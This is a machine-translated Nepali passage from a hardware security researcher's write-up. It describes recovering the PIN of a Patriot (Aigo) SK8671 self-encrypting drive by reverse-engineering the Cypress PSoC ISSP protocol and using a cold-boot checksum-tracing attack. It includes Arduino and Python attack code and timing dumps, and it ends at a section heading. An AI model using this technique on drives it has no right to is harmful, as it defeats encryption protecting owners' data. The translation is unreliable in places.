बाह्य स्व-इन्क्रिप्टिङ ड्राइभहरू ह्याक गर्ने बारे लेखको यो दोस्रो र अन्तिम भाग हो। मलाई तपाईलाई सम्झाउन दिनुहोस् कि एक सहकर्मीले भर्खरै मलाई एक Patriot (Aigo) SK8671 हार्ड ड्राइभ ल्याए, र मैले यसलाई उल्टाउने निर्णय गरें, र अब म यसबाट के आयो साझा गर्दैछु। थप पढ्नु अघि, अवश्य पढ्नुहोस् पहिलो भाग लेख

4. हामी आन्तरिक PSoC फ्ल्यास ड्राइभबाट डम्प लिन सुरु गर्छौं
5. ISSP प्रोटोकल
– ५.१। ISSP भनेको के हो
- ५.२। Demystifying भेक्टरहरू
- ५.३। PSoC संग संचार
– ५.४। अन-चिप दर्ताहरूको पहिचान
– ५.५। सुरक्षा बिट्स
6. पहिलो (असफल) आक्रमण: ROMX
7. दोस्रो आक्रमण: कोल्ड बुट ट्रेसिङ
– ७.१। कार्यान्वयन
– ७.२। नतिजा पढ्दै
– ७.३। फ्लैश बाइनरी पुनर्निर्माण
– ७.४। PIN कोड भण्डारण ठेगाना खोज्दै
– ७.५ ब्लक नम्बर १२६ को डम्प लिँदै
– ७.६। PIN कोड रिकभरी
8. अब के छ?
Con. निष्कर्ष

4. हामी आन्तरिक PSoC फ्ल्यास ड्राइभबाट डम्प लिन सुरु गर्छौं

त्यसोभए, सबै कुराले संकेत गर्दछ (जस्तै हामीले [पहिलो भाग]() मा स्थापित गरेका छौं) कि PIN कोड PSoC को फ्ल्याश गहिराइमा भण्डार गरिएको छ। त्यसकारण, हामीले यी फ्लैश गहिराइहरू पढ्न आवश्यक छ। आवश्यक कामको अगाडि:

• माइक्रोकन्ट्रोलरसँग "संचार" को नियन्त्रण लिनुहोस्;
• यो "संचार" बाहिरबाट पढ्नबाट सुरक्षित छ कि छैन भनेर जाँच गर्ने तरिका खोज्नुहोस्;
• सुरक्षा बाइपास गर्ने तरिका खोज्नुहोस्।

त्यहाँ दुई ठाउँहरू छन् जहाँ यसले वैध पिन कोड खोज्नको लागि अर्थ दिन्छ:

• आन्तरिक फ्लैश मेमोरी;
• SRAM, जहाँ पिन कोडलाई प्रयोगकर्ताले प्रविष्ट गरेको पिन कोडसँग तुलना गर्न भण्डारण गर्न सकिन्छ।

अगाडि हेर्दै, म नोट गर्नेछु कि मैले अझै पनि आन्तरिक PSoC फ्ल्यास ड्राइभको डम्प लिन व्यवस्थित गरेको छु - "कोल्ड बुट ट्रेसिङ" भनिने हार्डवेयर आक्रमणको प्रयोग गरेर यसको सुरक्षा प्रणालीलाई बाइपास गर्दै - ISSP प्रोटोकलको कागजात नभएका क्षमताहरू उल्टाएर। यसले मलाई प्रत्यक्ष PIN कोड डम्प गर्न अनुमति दियो।

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

अन्तिम कार्यक्रम कोड:

• HSSP को लागि Arduino कोड;
• पाइथन चालक र ISSP डिसेम्बलर.

5. ISSP प्रोटोकल

५.१। ISSP भनेको के हो

माइक्रोकन्ट्रोलरसँग "संचार" को अर्थ फरक चीजहरू हुन सक्छ: "विक्रेताबाट विक्रेता" एक सिरियल प्रोटोकल (उदाहरणका लागि, माइक्रोचिपको PIC को लागि ICSP) प्रयोग गरी अन्तरक्रिया गर्न।

साइप्रसको यसको लागि आफ्नै स्वामित्व प्रोटोकल छ, जसलाई ISSP (इन-सिस्टम सिरियल प्रोग्रामिङ प्रोटोकल) भनिन्छ, जुन आंशिक रूपमा वर्णन गरिएको छ। प्राविधिक विशिष्टता. पेटेन्ट US7185162 केही जानकारी पनि दिन्छ । त्यहाँ HSSP भनिने OpenSource समतुल्य पनि छ (हामी यसलाई केहि पछि प्रयोग गर्नेछौं)। ISSP ले निम्नानुसार काम गर्दछ:

• PSoC रिबुट गर्नुहोस्;
• यस PSoC को सिरियल डाटा पिनमा जादुई नम्बर आउटपुट गर्नुहोस्; बाह्य प्रोग्रामिङ मोड प्रविष्ट गर्न;
• आदेशहरू पठाउनुहोस्, जुन "भेक्टर" भनिने लामो बिट स्ट्रिङहरू हुन्।

ISSP कागजातले यी भेक्टरहरूलाई केवल थोरै मुट्ठीभर आदेशहरूको लागि परिभाषित गर्दछ:

• प्रारम्भ-१
• प्रारम्भ-१
• Initialize-3 (3V र 5V विकल्पहरू)
• ID-SETUP
• READ-ID-WORD
• SET-BLOCK-NUM: 10011111010dddddd111, जहाँ dddddddd=block #
• बल्क मेटाउनुहोस्
• कार्यक्रम-ब्लक
• प्रमाणित गर्नुहोस्-सेटअप
• READ-BYTE: 10110aaaaaZDDDDDDDZ1, जहाँ DDDDDDDD = डेटा बाहिर, aaaaaa = ठेगाना (6 बिट)
• WRITE-BYTE: 10010aaaaaddddd111, जहाँ dddddddd = data in, aaaaaa = ठेगाना (6 बिट)
• सुरक्षित
• चेकसम-सेटअप
• READ-CHECSUM: 10111111001ZDDDDDDDZ110111111000ZDDDDDDDZ1, जहाँ DDDDDDDDDDDDDDDDD = डेटा बाहिर: उपकरण चेकसम
• ब्लक मेटाउनुहोस्

उदाहरणका लागि, Initialize-2 को लागि भेक्टर:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

सबै भेक्टरहरूको एउटै लम्बाइ हुन्छ: 22 बिट। HSSP कागजातमा ISSP मा केही अतिरिक्त जानकारी छ: "एक ISSP भेक्टर निर्देशनहरूको सेट प्रतिनिधित्व गर्ने बिट अनुक्रम भन्दा बढी केही होइन।"

५.२। Demystifying भेक्टरहरू

यहाँ के भइरहेको छ भनेर पत्ता लगाउनुहोस्। प्रारम्भमा, मैले यी भेक्टरहरू M8C निर्देशनहरूको कच्चा संस्करणहरू थिए भनी अनुमान गरे, तर यो परिकल्पना जाँच गरेपछि, मैले पत्ता लगाए कि अपरेसनहरूको अपकोडहरू मेल खाँदैनन्।

त्यसपछि मैले माथिको भेक्टर गुगल गरें र भेटें यो एक अध्ययन जहाँ लेखक, यद्यपि उनी विस्तारमा जाँदैनन्, केही उपयोगी सुझावहरू दिन्छन्: "प्रत्येक निर्देशन तीनवटा बिट्सबाट सुरु हुन्छ जुन चार मेमोनिक्स मध्ये एकसँग मेल खान्छ (RAM बाट पढ्नुहोस्, RAM मा लेख्नुहोस्, रेजिस्टर पढ्नुहोस्, दर्ता गर्नुहोस्)। त्यसपछि त्यहाँ 8 ठेगाना बिटहरू छन्, त्यसपछि 8 डेटा बिटहरू (पढ्न वा लेख्नुहोस्) र अन्तमा तीन स्टप बिटहरू छन्।"

त्यसपछि मैले सुपरभाइजरी रोम (SROM) खण्डबाट केही धेरै उपयोगी जानकारीहरू बटुल्न सक्षम भएँ। प्राविधिक पुस्तिका। SROM PSoC मा हार्ड-कोड गरिएको ROM हो जसले प्रयोगकर्ता स्पेसमा चलिरहेको प्रोग्राम कोडको लागि उपयोगिता प्रकार्यहरू (Syscall जस्तै) प्रदान गर्दछ:

• 00h:SWBootReset
• 01h: ReadBlock
• 02h: WriteBlock
• ०३ घन्टा: इरेजब्लक
• 06h: TableRead
• 07h: CheckSum
• ०८ घन्टा: क्यालिब्रेट०
• ०८ घन्टा: क्यालिब्रेट०

भेक्टर नामहरूलाई SROM प्रकार्यहरूसँग तुलना गरेर, हामी यस प्रोटोकलद्वारा समर्थित विभिन्न कार्यहरूलाई अपेक्षित SROM प्यारामिटरहरूमा नक्सा गर्न सक्छौं। यसको लागि धन्यवाद, हामी ISSP भेक्टरहरूको पहिलो तीन बिटहरू डिकोड गर्न सक्छौं:

• 100 => "रेम"
• 101 => "rdmem"
• 110 => "wrreg"
• 111 => "rdreg"

यद्यपि, अन-चिप प्रक्रियाहरूको पूर्ण बुझाइ PSoC सँग प्रत्यक्ष सञ्चार मार्फत मात्र प्राप्त गर्न सकिन्छ।

५.३। PSoC संग संचार

डर्क Petrautsky पहिले नै छ पोर्ट गरिएको Arduino मा Cypress को HSSP कोड, मैले किबोर्ड बोर्डको ISSP कनेक्टरमा जडान गर्न Arduino Uno प्रयोग गरें।

कृपया ध्यान दिनुहोस् कि मेरो अनुसन्धानको क्रममा, मैले डिर्कको कोड एकदम थोरै परिवर्तन गरें। तपाईंले GitHub मा मेरो परिमार्जन पाउन सक्नुहुन्छ: यहाँ र मेरो भण्डारमा Arduino सँग सञ्चार गर्नको लागि सम्बन्धित पाइथन लिपि cypress_psoc_tools.

त्यसैले, Arduino प्रयोग गरेर, मैले पहिले "संचार" को लागि "आधिकारिक" भेक्टरहरू मात्र प्रयोग गरें। मैले VERIFY आदेश प्रयोग गरेर आन्तरिक ROM पढ्ने प्रयास गरें। अपेक्षा गरे अनुसार, मैले यो गर्न सकेन। सायद यस तथ्यको कारणले गर्दा कि पढ्ने सुरक्षा बिटहरू फ्लैश ड्राइव भित्र सक्रिय छन्।

त्यसपछि मैले मेमोरी/रेजिस्टरहरू लेख्न र पढ्नको लागि आफ्नै केही सरल भेक्टरहरू सिर्जना गरें। फ्ल्यास ड्राइभ सुरक्षित भए तापनि हामी सम्पूर्ण SROM पढ्न सक्छौं भनेर कृपया ध्यान दिनुहोस्!

५.४। अन-चिप दर्ताहरूको पहिचान

"डिससेम्बल" भेक्टरहरू हेरेपछि, मैले पत्ता लगाएँ कि यन्त्रले M0C ओपकोडहरू निर्दिष्ट गर्न अप्रमाणित रेजिस्टरहरू (8xF0-8xFA) प्रयोग गर्दछ, जुन सुरक्षालाई बाइपास गरेर प्रत्यक्ष रूपमा कार्यान्वयन गरिन्छ। यसले मलाई "ADD", "MOV A, X", "PUSH" वा "JMP" जस्ता विभिन्न अपकोडहरू चलाउन अनुमति दियो। उनीहरूलाई धन्यवाद (रेजिस्टरहरूमा उनीहरूका साइड इफेक्टहरू हेरेर) मैले कुन कागजात नभएका दर्ताहरू वास्तवमा नियमित दर्ताहरू (ए, एक्स, एसपी र पीसी) थिए भनेर निर्धारण गर्न सक्षम भएँ।

नतिजाको रूपमा, HSSP_disas.rb उपकरणद्वारा उत्पन्न गरिएको "डिससेम्बल" कोड यस्तो देखिन्छ (मैले स्पष्टताका लागि टिप्पणीहरू थपेको छु):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

५.५ सुरक्षा बिट्स

यस चरणमा म पहिले नै PSoC सँग कुराकानी गर्न सक्छु, तर मसँग अझै पनि फ्लैश ड्राइभको सुरक्षा बिटहरूको बारेमा भरपर्दो जानकारी छैन। म यस तथ्यबाट धेरै छक्क परें कि साइप्रसले उपकरणको प्रयोगकर्तालाई सुरक्षा सक्रिय छ कि छैन भनेर जाँच गर्न कुनै पनि माध्यम प्रदान गर्दैन। डर्कले आफ्नो परिमार्जन जारी गरेपछि Cypress द्वारा प्रदान गरिएको HSSP कोड अद्यावधिक गरिएको थियो भन्ने कुरा बुझ्न मैले Google मा गहिरो खोज गरें। र त्यसैले! यो नयाँ भेक्टर देखा पर्यो:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

यो भेक्टर प्रयोग गरेर (psoc.py मा read_security_data हेर्नुहोस्), हामीले SRAM मा 0x80 मा सबै सुरक्षा बिटहरू पाउँछौं, जहाँ प्रति सुरक्षित ब्लकमा दुईवटा बिटहरू छन्।

नतिजा निराशाजनक छ: सबै कुरा "बाह्य पढाइ र लेखन असक्षम गर्नुहोस्" मोडमा सुरक्षित छ। त्यसकारण, हामी फ्लैश ड्राइभबाट केहि पनि पढ्न सक्दैनौं, तर हामी केहि पनि लेख्न सक्दैनौं (उदाहरणका लागि, त्यहाँ रोम डम्पर स्थापना गर्न)। र सुरक्षा असक्षम गर्ने एक मात्र तरिका सम्पूर्ण चिप मेटाउन हो। 🙁

6. पहिलो (असफल) आक्रमण: ROMX

जे होस्, हामी निम्न ट्रिक कोसिस गर्न सक्छौं: किनकि हामीसँग मनमानी opcodes कार्यान्वयन गर्ने क्षमता छ, किन ROMX कार्यान्वयन नगर्ने, जुन फ्ल्यास मेमोरी पढ्न प्रयोग गरिन्छ? यो दृष्टिकोण सफलता को राम्रो मौका छ। किनभने SROM बाट डाटा पढ्ने ReadBlock प्रकार्यले (जसलाई भेक्टरहरूले प्रयोग गर्छ) जाँच गर्छ कि यो ISSP बाट कल गरिएको हो। यद्यपि, ROMX opcode मा त्यस्तो जाँच नहुन सक्छ। त्यसैले यहाँ पाइथन कोड छ (अर्डिनो कोडमा केही सहायक कक्षाहरू थपेपछि):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

दुर्भाग्यवश यो कोड काम गर्दैन। 🙁 वा बरु यसले काम गर्छ, तर आउटपुटमा हामीले हाम्रो आफ्नै अपकोडहरू पाउँछौं (0x28 0x30 0x40)! मलाई लाग्दैन कि उपकरणको सम्बन्धित कार्यक्षमता पढ्ने सुरक्षाको एक तत्व हो। यो एक ईन्जिनियरिङ् चाल जस्तै छ: बाह्य opcodes कार्यान्वयन गर्दा, ROM बस एक अस्थायी बफर मा रिडिरेक्ट हुन्छ।

7. दोस्रो आक्रमण: कोल्ड बुट ट्रेसिङ

ROMX चालले काम नगरेकोले, मैले यस चालको अर्को भिन्नताको बारेमा सोच्न थालेँ - प्रकाशनमा वर्णन गरिएको "माइक्रोकन्ट्रोलरको फर्मवेयर सुरक्षामा धेरै लाइट बहाउँदै".

७.१। कार्यान्वयन

ISSP कागजातले CHECKSUM-SETUP को लागि निम्न भेक्टर प्रदान गर्दछ:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

यसले अनिवार्य रूपमा SROM प्रकार्य 0x07 कल गर्दछ, जस्तै दस्तावेजमा प्रस्तुत गरिएको छ (इटालिक माइन):

यो प्रकार्य चेकसम प्रमाणीकरण। यसले शून्यबाट सुरु गरी एउटा फ्ल्यास बैंकमा प्रयोगकर्ता-निर्दिष्ट ब्लकहरूको संख्याको 16-बिट चेकसम गणना गर्छ। BLOCKID प्यारामिटर चेकसम गणना गर्दा प्रयोग गरिने ब्लकहरूको संख्या पास गर्न प्रयोग गरिन्छ। "1" को मानले ब्लक शून्यको लागि चेकसम मात्र गणना गर्नेछ; जबकि "0" ले फ्ल्याश बैंकको सबै 256 ब्लकहरूको कुल चेकसम गणना गर्न सक्छ। 16-बिट चेकसम KEY1 र KEY2 मार्फत फिर्ता गरिन्छ। KEY1 प्यारामिटरले चेकसमको कम-अर्डर 8 बिटहरू भण्डार गर्दछ, र KEY2 प्यारामिटरले उच्च-अर्डर 8 बिटहरू भण्डार गर्दछ। धेरै फ्ल्यास बैंकहरू भएका यन्त्रहरूको लागि, चेकसम प्रकार्य प्रत्येकको लागि छुट्टै बोलाइन्छ। यसले काम गर्ने बैंक नम्बर FLS_PR1 दर्ताद्वारा सेट गरिएको छ (लक्ष्य फ्ल्यास बैंकसँग सम्बन्धित बिट सेट गरेर)।

ध्यान दिनुहोस् कि यो एक साधारण चेकसम हो: बाइटहरू एक पछि अर्को थपिएका छन्; कुनै फैंसी CRC quirks। थप रूपमा, M8C कोरसँग रेजिस्टरहरूको धेरै सानो सेट छ भनेर थाहा पाउँदा, मैले अनुमान गरें कि चेकसम गणना गर्दा, मध्यवर्ती मानहरू उही चरहरूमा रेकर्ड गरिनेछ जुन अन्ततः आउटपुटमा जान्छ: KEY1 (0xF8) / KEY2 ( 0xF9)।

त्यसैले सिद्धान्तमा मेरो आक्रमण यस्तो देखिन्छ:

1. हामी ISSP मार्फत जडान गर्छौं।
2. हामीले CHECKSUM-SETUP भेक्टर प्रयोग गरेर चेकसम गणना सुरु गर्छौं।
3. हामीले निर्दिष्ट समय पछि प्रोसेसर रिबुट गर्छौं।
4. हामीले हालको चेकसम सी प्राप्त गर्न RAM पढ्छौं।
5. चरण 3 र 4 दोहोर्याउनुहोस्, प्रत्येक पटक T अलिकति बढाउनुहोस्।
6. हामीले हालको चेकसम C लाई घटाएर फ्ल्यास ड्राइभबाट डेटा रिकभर गर्छौं।

यद्यपि, त्यहाँ समस्या छ: Initialize-1 भेक्टर जुन हामीले रिबुट पछि पठाउनु पर्छ KEY1 र KEY2 लाई ओभरराइट गर्दछ:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

यो कोडले Calibrate1 (SROM प्रकार्य 9) लाई कल गरेर हाम्रो बहुमूल्य चेकसमलाई ओभरराइट गर्छ... सायद हामी प्रोग्रामिङ मोडमा प्रवेश गर्नको लागि जादुई नम्बर (माथिको कोडको सुरुबाट) पठाउन सक्छौं, र त्यसपछि SRAM पढ्न सक्छौं? र हो, यो काम गर्दछ! यो आक्रमण लागू गर्ने Arduino कोड एकदम सरल छ:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

1. checkum_delay पढ्नुहोस्।
2. चेकसम गणना चलाउनुहोस् (send_checksum_v)।
3. निर्दिष्ट समयको लागि पर्खनुहोस्; निम्न कमजोरीहरूलाई ध्यानमा राख्दै:
   • मैले धेरै समय बर्बाद गरें जब सम्म मैले यो थाहा पाए कि यो के हुन्छ ढिलाइ माइक्रोसेकेन्ड 16383 μs भन्दा बढि ढिलाइ संग मात्र सही काम गर्दछ;
   • र त्यसपछि फेरि उस्तै समय मार्यो जबसम्म मैले ढिलाइ माइक्रोसेकेन्डहरू पत्ता नलागेमा, यदि ० लाई इनपुटको रूपमा पास गरियो भने, पूर्ण रूपमा गलत काम गर्दछ!
4. PSoC लाई प्रोग्रामिङ मोडमा रिबुट गर्नुहोस् (हामी केवल जादुई नम्बर पठाउँछौं, प्रारम्भिक भेक्टरहरू नपठाई)।

पाइथनमा अन्तिम कोड:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

संक्षेपमा, यो कोडले के गर्छ:

1. PSoC रिबुट गर्दछ (र यसलाई जादुई नम्बर पठाउँछ)।
2. पूर्ण प्रारम्भिक भेक्टरहरू पठाउँछ।
3. Arduino प्रकार्य Cmnd_STK_START_CSUM (0x85) लाई कल गर्दछ, जहाँ माइक्रोसेकेन्डमा भएको ढिलाइलाई प्यारामिटरको रूपमा पास गरिन्छ।
4. चेकसम (0xF8 र 0xF9) र कागजात नभएको दर्ता 0xF1 पढ्छ।

यो कोड 10 माइक्रोसेकेन्डमा 1 पटक कार्यान्वयन गरिन्छ। 0xF1 यहाँ समावेश गरिएको छ किनभने यो मात्र दर्ता थियो जुन चेकसम गणना गर्दा परिवर्तन भयो। सायद यो अंकगणितीय तर्क एकाइ द्वारा प्रयोग गरिएको केहि प्रकारको अस्थायी चर हो। मैले पिकोकम प्रयोग गरेर Arduino रिसेट गर्न प्रयोग गरेको बदसूरत ह्याकलाई नोट गर्नुहोस् जब Arduino ले जीवनका संकेतहरू देखाउन रोक्छ (किन थाहा छैन)।

७.२। नतिजा पढ्दै

पाइथन लिपिको नतिजा यस्तो देखिन्छ (पढ्न योग्यताको लागि सरलीकृत):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

त्यो भनिएको छ, हामीसँग समस्या छ: हामी वास्तविक चेकसमसँग काम गरिरहेका छौं, एक नल बाइटले पढेको मान परिवर्तन गर्दैन। यद्यपि, सम्पूर्ण गणना प्रक्रिया (८१९२ बाइट्स) ले ०.१४७८ सेकेन्ड लिन्छ (प्रत्येक पटक यो चलाउँदा अलिकति भिन्नता सहित), जुन लगभग १८.०४ μs प्रति बाइट बराबर हुन्छ, हामी यो समयलाई उपयुक्त समयमा चेकसम मूल्य जाँच गर्न प्रयोग गर्न सक्छौं। पहिलो रनहरूको लागि, सबै कुरा सजिलैसँग पढ्न सकिन्छ, किनकि कम्प्युटेशनल प्रक्रियाको अवधि सधैं समान हुन्छ। यद्यपि, यस डम्पको अन्त्य कम सटीक छ किनभने प्रत्येक दौडमा "सानो समय विचलनहरू" महत्त्वपूर्ण हुन थप्छन्:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

त्यो प्रत्येक माइक्रोसेकेन्ड ढिलाइको लागि 10 डम्पहरू हो। फ्ल्यास ड्राइभको सबै 8192 बाइटहरू डम्पिङको लागि कुल अपरेटिङ समय लगभग 48 घण्टा हो।

७.३। फ्लैश बाइनरी पुनर्निर्माण

मैले अहिलेसम्म कोड लेखेको छैन जुन फ्ल्यास ड्राइभको प्रोग्राम कोडलाई पूर्ण रूपमा पुनर्निर्माण गर्नेछ, सबै समय विचलनहरूलाई ध्यानमा राख्दै। जे होस्, मैले यस कोडको सुरुवातलाई पहिले नै पुनर्स्थापित गरेको छु। मैले यो सहि तरिकाले गरे भनी सुनिश्चित गर्न, मैले m8cdis प्रयोग गरेर यसलाई छुट्याएँ:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

एकदमै प्रशंसनीय देखिन्छ!

७.४। PIN कोड भण्डारण ठेगाना खोज्दै

अब हामीले आवश्यक समयमा चेकसम पढ्न सक्छौं, हामी सजिलै जाँच गर्न सक्छौं कि यो कसरी र कहाँ परिवर्तन हुन्छ जब हामी:

• गलत पिन कोड प्रविष्ट गर्नुहोस्;
• पिन कोड परिवर्तन गर्नुहोस्।

पहिले, अनुमानित भण्डारण ठेगाना फेला पार्न, मैले रिबुट पछि 10 ms वृद्धिमा चेकसम डम्प लिएँ। त्यसपछि मैले गलत PIN प्रविष्ट गरें र त्यसै गरें।

परिणाम धेरै सुखद थिएन, किनकि त्यहाँ धेरै परिवर्तनहरू थिए। तर अन्तमा मैले चेकसम 120000 µs र 140000 µs ढिलाइको बीचमा परिवर्तन भएको कुरा निर्धारण गर्न सक्षम भएँ। तर मैले त्यहाँ देखाएको "पिनकोड" पूर्णतया गलत थियो - ढिलाइ माइक्रोसेकेन्ड प्रक्रियाको कलाकृतिको कारणले, जुन ० लाई पास गर्दा अनौठो चीजहरू गर्दछ।

त्यसपछि, लगभग 3 घण्टा बिताएपछि, मैले सम्झें कि SROM प्रणाली कल चेकसमले इनपुटको रूपमा एउटा तर्क प्राप्त गर्दछ जसले चेकसमका लागि ब्लकहरूको संख्या निर्दिष्ट गर्दछ! त्यो। हामी PIN कोडको भण्डारण ठेगाना र "गलत प्रयासहरू" काउन्टरलाई 64-बाइट ब्लकसम्मको शुद्धताका साथ सजिलै स्थानीयकरण गर्न सक्छौं।

मेरो प्रारम्भिक रनले निम्न परिणामहरू उत्पादन गर्यो:

त्यसपछि मैले PIN कोड "123456" बाट "1234567" मा परिवर्तन गरें र प्राप्त गरें:

यसरी, PIN कोड र गलत प्रयासहरूको काउन्टर ब्लक नम्बर 126 मा भण्डारण गरिएको देखिन्छ।

७.५ ब्लक नम्बर १२६ को डम्प लिँदै

